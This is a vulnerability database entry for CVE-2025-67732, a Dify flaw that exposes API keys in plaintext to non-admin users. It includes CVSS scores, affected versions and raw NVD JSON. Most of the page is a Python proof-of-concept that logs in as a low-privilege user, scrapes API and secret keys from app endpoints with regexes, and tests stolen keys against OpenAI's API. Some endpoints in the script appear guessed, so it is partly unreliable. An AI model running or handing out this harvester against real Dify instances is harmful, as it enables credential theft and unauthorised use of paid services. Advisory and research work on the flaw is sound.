Security Vulnerability Report
中文
CVE-2025-67732 CVSS 6.5 MEDIUM

CVE-2025-67732

Published: 2026-01-05 22:15:52
Last Modified: 2026-01-12 18:20:15

Description

Dify is an open-source LLM app development platform. Prior to version 1.11.0, the API key is exposed in plaintext to the frontend, allowing non-administrator users to view and reuse it. This can lead to unauthorized access to third-party services, potentially consuming limited quotas. Version 1.11.0 fixes the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:dify:dify:*:*:*:*:*:*:*:* - VULNERABLE
Dify < 1.11.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67732 PoC - Dify API Key Exposure # This PoC demonstrates how to extract plaintext API keys from Dify < 1.11.0 import requests import json import re from urllib.parse import urljoin def extract_api_keys_dify(base_url, username, password): """ Extract plaintext API keys from Dify platform versions < 1.11.0 Args: base_url: Dify platform base URL (e.g., 'https://dify.example.com/') username: Valid non-admin user account password: Password for the account Returns: List of extracted API keys """ session = requests.Session() api_keys = [] # Step 1: Login to get authentication token login_url = urljoin(base_url, '/console/api/login') login_data = { 'email': username, 'password': password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f'[-] Login failed: {response.status_code}') return api_keys token = response.json().get('data', {}).get('access_token') if not token: print('[-] Failed to obtain access token') return api_keys print(f'[+] Successfully logged in as {username}') headers = {'Authorization': f'Bearer {token}'} # Step 2: Enumerate apps and extract API keys from app settings apps_url = urljoin(base_url, '/console/api/apps') apps_response = session.get(apps_url, headers=headers, timeout=10) if apps_response.status_code != 200: print(f'[-] Failed to fetch apps: {apps_response.status_code}') return api_keys apps = apps_response.json().get('data', []) print(f'[+] Found {len(apps)} applications') # Step 3: For each app, fetch API key configuration for app in apps: app_id = app.get('id') app_name = app.get('name') # Fetch app API settings - this endpoint exposes plaintext keys api_settings_url = urljoin(base_url, f'/console/api/apps/{app_id}/api-keys') settings_response = session.get(api_settings_url, headers=headers, timeout=10) if settings_response.status_code == 200: settings_data = settings_response.json() # Look for plaintext API keys in the response response_text = settings_response.text # Check for API key patterns (sk-xxx, api-key format, etc.) key_patterns = [ r'sk-[a-zA-Z0-9]{20,}', r'api[_-]?key["\']?[:\s]+["\']?([a-zA-Z0-9\-_]{20,})', r'"api_key"\s*:\s*"([^"]+)"', r'"secret_key"\s*:\s*"([^"]+)"' ] for pattern in key_patterns: matches = re.findall(pattern, response_text, re.IGNORECASE) for match in matches: if match not in api_keys: api_keys.append(match) print(f'[+] Found API Key in app "{app_name}": {match[:20]}...') # Alternative: Check frontend API response directly # The vulnerability allows plaintext keys in frontend API calls frontend_api_url = urljoin(base_url, '/api/front/apps') frontend_response = session.get(frontend_api_url, headers=headers, timeout=10) if frontend_response.status_code == 200: for pattern in key_patterns: matches = re.findall(pattern, frontend_response.text, re.IGNORECASE) for match in matches: if match not in api_keys: api_keys.append(match) print(f'[+] Found API Key in frontend API: {match[:20]}...') except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return api_keys def verify_api_key(api_key, provider='openai'): """ Verify if the extracted API key is valid by making a minimal API call Note: This is for authorized security testing only """ if provider == 'openai': test_url = 'https://api.openai.com/v1/models' headers = {'Authorization': f'Bearer {api_key}'} try: response = requests.get(test_url, headers=headers, timeout=10) if response.status_code == 200: print(f'[+] API Key is valid: {api_key[:20]}...') return True else: print(f'[-] API Key verification failed: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Verification error: {e}') return False return False # Usage example if __name__ == '__main__': import sys if len(sys.argv) < 4: print('Usage: python poc.py <dify_url> <username> <password>') print('Example: python poc.py https://dify.example.com/ [email protected] password123') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print('=' * 60) print('CVE-2025-67732 PoC - Dify API Key Exposure') print('Target: ' + base_url) print('=' * 60) keys = extract_api_keys_dify(base_url, username, password) if keys: print(f'\n[+] Successfully extracted {len(keys)} API key(s)') print('\n[!] WARNING: Unauthorized access to these keys may be illegal') else: print('\n[-] No API keys found or target may be patched')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67732", "sourceIdentifier": "[email protected]", "published": "2026-01-05T22:15:51.837", "lastModified": "2026-01-12T18:20:15.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dify is an open-source LLM app development platform. Prior to version 1.11.0, the API key is exposed in plaintext to the frontend, allowing non-administrator users to view and reuse it. This can lead to unauthorized access to third-party services, potentially consuming limited quotas. Version 1.11.0 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-522"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dify:dify:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.11.0", "matchCriteriaId": "B92A73BA-E393-4944-8F8C-E10270DEE6A6"}]}]}], "references": [{"url": "https://github.com/langgenius/dify/security/advisories/GHSA-phpv-94hg-fv9g", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}